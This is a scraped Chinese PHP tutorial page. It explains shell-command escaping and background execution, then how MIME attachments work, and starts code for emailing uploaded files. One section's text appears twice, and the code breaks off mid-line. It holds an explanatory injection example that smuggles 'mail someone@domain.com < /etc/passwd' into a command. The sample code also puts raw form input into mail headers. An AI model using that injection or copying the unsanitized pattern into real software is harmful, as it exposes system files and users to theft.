📄 php++-
字号:
/etc/passwd ;' <BR> <BR> 那么这条命令最终变成: <BR>
<BR> 'mail --bla ; mail someone@domain.com < /etc/passwd ;
< products.txt' <BR> <BR>
我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。 <BR> <BR>
幸好,PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入(<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串就可以安全地作为命令的参数。
<BR> <BR>
再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是把命令的输出重定向到另外一个文件或流中,如:
<BR> <BR> <? <BR>
system("/usr/local/bin/order_proc > /tmp/null &"); <BR>
?> <BR> <BR> </FONT></FONT></TD></TR><INPUT type=hidden
value=9 name=whichpage5>
<TR>
<TD vAlign=top align=left width="8%"><FONT size=2>0275.</FONT></TD>
<TD width="92%"><FONT color=#ffff00 size=2><A name=0275>解析[1]
:用PHP发送有附件的电子邮件 </A></FONT></TD></TR>
<TR>
<TD width="8%"><FONT size=2></FONT></TD>
<TD width="92%"><FONT size=2><FONT color=#008000>解释:
</FONT><BR> <FONT
color=#00ffff>我经常听到这样一个问题:"我有一个从网站发来的合同。我如何给通过表单发送的电子邮件增加一个附件呢?"
<BR> <BR>
首先我要说的是要做到这个没有什么简单的办法。你要很好的理解PHP或其它的服务器端的脚本语言。当然你还要一个真正支持PHP的网站的账号。如果满足了这个前提,在你读完了本章后就可以用PHP发送带附件的电子邮件了。
<BR> <BR> <BR> </FONT></FONT></TD></TR><INPUT
type=hidden value=9 name=whichpage6>
<TR>
<TD vAlign=top align=left width="8%"><FONT size=2>0276.</FONT></TD>
<TD width="92%"><FONT color=#ffff00 size=2><A name=0276>解析[2]
:用PHP发送有附件的电子邮件 </A></FONT></TD></TR>
<TR>
<TD width="8%"><FONT size=2></FONT></TD>
<TD width="92%"><FONT size=2><FONT color=#008000>解释:
</FONT><BR> <FONT color=#00ffff>1. 附件是如何工作的 <BR>
<BR>
如果你曾经在PHP的手册中搜索过"附件"函数,那么结果可能是什么都没有(至少在我写本文的时间还没有)。后来你就要花很多时间来了解这方面的知识。
<BR> <BR>
你也许会想当你给某个人发送一封带附件的电子邮件时,附件是和邮件一起放到收件人的信箱里的(比如,如果你给他/她发了一个PNG的图片文件,他/她的信箱里会包含一个txt文件(电子邮件)和一个.png文件(附件))。但这不是它的工作原理。当你加入一个附件时,你的邮件程序把附件转换成纯文本文件,并在你写的内容(实际的电子邮件)后面插入这个文本块。这个,当你把所有的东西发出来后,收件人的信箱里只有一个纯文本文件--一个同时包含附件和实际电子邮件内容的文件。
<BR> <BR> 下面是一个带附件(一个HTML文件)电子邮件的例子。我已经标注了其中重要的几行:
<BR> <BR> Return-Path: <someone@example.com>
<BR> Date: Mon, 22 May 2000 19:17:29 +0000 <BR> From:
Someone <someone@example.com> <BR> To: Person
<person@eksempel.dk> <BR> Message-id:
<83729KI93LI9214@example.com> <BR> Content-type:
multipart/mixed; boundary="396d983d6b89a" <BR> Subject: Here's
the subject <BR> <BR> --396d983d6b89a <BR>
Content-type: text/plain; charset=iso-8859-1 <BR>
Content-transfer-encoding: 8bit <BR> <BR> This is the
body of the email. <BR> <BR> --396d983d6b89a <BR>
Content-type: text/html; name=attachment.html <BR>
Content-disposition: inline; filename=attachment.html <BR>
Content-transfer-encoding: 8bit <BR> <BR> <html>
<BR> <head> <BR> <title>The
attachment</title> <BR> </head> <BR>
<body> <BR> <h2>This is the attached HTML
file</h2> <BR> </body> <BR> </html>
<BR> <BR> --396d983d6b89a-- <BR> <BR>
<BR> <BR>
前面的7行是邮件的头,其中值得注意的是Content-type头部分。这个头告诉邮件程序电子邮件是由一个以上的部分组成的。不含附件的邮件只有一个部分:消息本身。带附件的电子通常至少由两部分组成:消息和附件。这样,带两个附件的邮件由三部分组成:消息,第一个附件和第二个附件。
<BR> <BR>
带附件的电子邮件的不同部分之间用分界线来分隔。分界线在Content-type头中定义。邮件的每个新部分以两个连字号(--)和分界线开始。最后一个分界线后也有两个连字号,表示这个邮件中没有其它的部分了。
<BR> <BR>
在每个分界线后有一些行,用来告诉邮件程序这个部分的内容的类型。比如,看看上面例子中第一个分界线后面的两行--以Content-type:
text/plain开头的行。这些行说明后面的部分是ISO-8859-1字符集的纯文本。跟在第二个分界线后的行告诉邮件程序现在的部分是一个HTML文件,它的名字是"attachment.html"。
<BR> <BR>
Content-disposition这持告诉邮件程序如果可能就以内嵌的方式显示附件。现在新的邮件程序会在消息后显示HTML的内容。如果Content-disposition被设为attachment,那么邮件程序就不会显示HTML文件的内容,而是显示一个连接到文件的图标(或其它的类似的东西)。收件人要看附件的内容,必须点击这个图标。一般情况下,如果附件是一些文本(包含HTML),Content-disposition会被设为inline,这是因为现在大部分邮件程序能够不借助其它浏览器而直接显示附件(文本)的内容。如果附件不是文本(比如图片或其它类似的内容),Content-disposition就设为attachment。<BR> </FONT></FONT></TD></TR><INPUT
type=hidden value=9 name=whichpage7>
<TR>
<TD vAlign=top align=left width="8%"><FONT size=2>0277.</FONT></TD>
<TD width="92%"><FONT color=#ffff00 size=2><A name=0277>解析[3]
:用PHP发送有附件的电子邮件 </A></FONT></TD></TR>
<TR>
<TD width="8%"><FONT size=2></FONT></TD>
<TD width="92%"><FONT size=2><FONT color=#008000>解释:
</FONT><BR> <FONT color=#00ffff>1. 附件是如何工作的 <BR>
<BR>
如果你曾经在PHP的手册中搜索过"附件"函数,那么结果可能是什么都没有(至少在我写本文的时间还没有)。后来你就要花很多时间来了解这方面的知识。
<BR> <BR>
你也许会想当你给某个人发送一封带附件的电子邮件时,附件是和邮件一起放到收件人的信箱里的(比如,如果你给他/她发了一个PNG的图片文件,他/她的信箱里会包含一个txt文件(电子邮件)和一个.png文件(附件))。但这不是它的工作原理。当你加入一个附件时,你的邮件程序把附件转换成纯文本文件,并在你写的内容(实际的电子邮件)后面插入这个文本块。这个,当你把所有的东西发出来后,收件人的信箱里只有一个纯文本文件--一个同时包含附件和实际电子邮件内容的文件。
<BR> <BR> 下面是一个带附件(一个HTML文件)电子邮件的例子。我已经标注了其中重要的几行:
<BR> <BR> Return-Path: <someone@example.com>
<BR> Date: Mon, 22 May 2000 19:17:29 +0000 <BR> From:
Someone <someone@example.com> <BR> To: Person
<person@eksempel.dk> <BR> Message-id:
<83729KI93LI9214@example.com> <BR> Content-type:
multipart/mixed; boundary="396d983d6b89a" <BR> Subject: Here's
the subject <BR> <BR> --396d983d6b89a <BR>
Content-type: text/plain; charset=iso-8859-1 <BR>
Content-transfer-encoding: 8bit <BR> <BR> This is the
body of the email. <BR> <BR> --396d983d6b89a <BR>
Content-type: text/html; name=attachment.html <BR>
Content-disposition: inline; filename=attachment.html <BR>
Content-transfer-encoding: 8bit <BR> <BR> <html>
<BR> <head> <BR> <title>The
attachment</title> <BR> </head> <BR>
<body> <BR> <h2>This is the attached HTML
file</h2> <BR> </body> <BR> </html>
<BR> <BR> --396d983d6b89a-- <BR> <BR>
<BR> <BR>
前面的7行是邮件的头,其中值得注意的是Content-type头部分。这个头告诉邮件程序电子邮件是由一个以上的部分组成的。不含附件的邮件只有一个部分:消息本身。带附件的电子通常至少由两部分组成:消息和附件。这样,带两个附件的邮件由三部分组成:消息,第一个附件和第二个附件。
<BR> <BR>
带附件的电子邮件的不同部分之间用分界线来分隔。分界线在Content-type头中定义。邮件的每个新部分以两个连字号(--)和分界线开始。最后一个分界线后也有两个连字号,表示这个邮件中没有其它的部分了。
<BR> <BR>
在每个分界线后有一些行,用来告诉邮件程序这个部分的内容的类型。比如,看看上面例子中第一个分界线后面的两行--以Content-type:
text/plain开头的行。这些行说明后面的部分是ISO-8859-1字符集的纯文本。跟在第二个分界线后的行告诉邮件程序现在的部分是一个HTML文件,它的名字是"attachment.html"。
<BR> <BR>
Content-disposition这持告诉邮件程序如果可能就以内嵌的方式显示附件。现在新的邮件程序会在消息后显示HTML的内容。如果Content-disposition被设为attachment,那么邮件程序就不会显示HTML文件的内容,而是显示一个连接到文件的图标(或其它的类似的东西)。收件人要看附件的内容,必须点击这个图标。一般情况下,如果附件是一些文本(包含HTML),Content-disposition会被设为inline,这是因为现在大部分邮件程序能够不借助其它浏览器而直接显示附件(文本)的内容。如果附件不是文本(比如图片或其它类似的内容),Content-disposition就设为attachment。<BR> </FONT></FONT></TD></TR><INPUT
type=hidden value=9 name=whichpage8>
<TR>
<TD vAlign=top align=left width="8%"><FONT size=2>0278.</FONT></TD>
<TD width="92%"><FONT color=#ffff00 size=2><A name=0278>解析[4]
:用PHP发送有附件的电子邮件 </A></FONT></TD></TR>
<TR>
<TD width="8%"><FONT size=2></FONT></TD>
<TD width="92%"><FONT size=2><FONT color=#008000>解释:
</FONT><BR> <FONT color=#00ffff>3. 把用户上传的文件作为附件 <BR>
<BR>
你也许会觉得上面的例子难以理解,但下面...。在下面的例子中事情更难了,因为我们要用一个表单让用户上传他们的文件,并把这个文件作为我们要发的邮件的附件。麻烦的是我们不能预先知道文件的MIME类型。在前面的例子中,我们已经知道该它是一个HTML文件,所以给这个附件设置Content-type头是很简单的。在下面的例子中,MIME类型可能是任意的,因为用户可能会上传一个HTML文件,一个PNG文件,一个vCard文件,或者其它的东西。让我们来看看例子:
<BR> <BR> <?php <BR> echo "<form
action='$PHP_SELF' enctype='multipart/form-data'
method='post'>\n"; <BR> echo "<input type='text'
name='from'><br>\n"; <BR> echo "<input type='text'
name='to'><br>\n"; <BR> echo "<input type='text'
name='subject'><br>\n"; <BR> echo "<input
type='file' name='attachment'><br>\n"; <BR> echo
"<textarea name='body'></textarea><br>\n";
<BR> echo "<input type='submit' name='send'
value='Send'>\n"; <BR> echo "</form>\n"; <BR>
<BR> if ($send) { <BR> $boundary = uniqid( "");
<BR> <BR> $headers = "From: $from <BR>
Content-type: multipart/mixed; boundary=\"$boundary\""; <BR>
<BR> if ($attachment_type) $mimeType = $attachment_type;
<BR> else $mimeType = "application/unknown"; <BR>
<BR> $fileName = $attachment_name; <BR> <BR> $fp =
fopen($attachment, "r"); <BR> $read = fread($fp,
filesize($attachment)); <BR> <BR> $read =
base64_encode($read); <BR> <BR> $read =
chunk_split($read); <BR> <BR> $body = "--$boundary
<BR> Content-type: text/plain; charset=iso-8859-1 <BR>
Content-transfer-encoding: 8bit <BR> <BR> $body
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -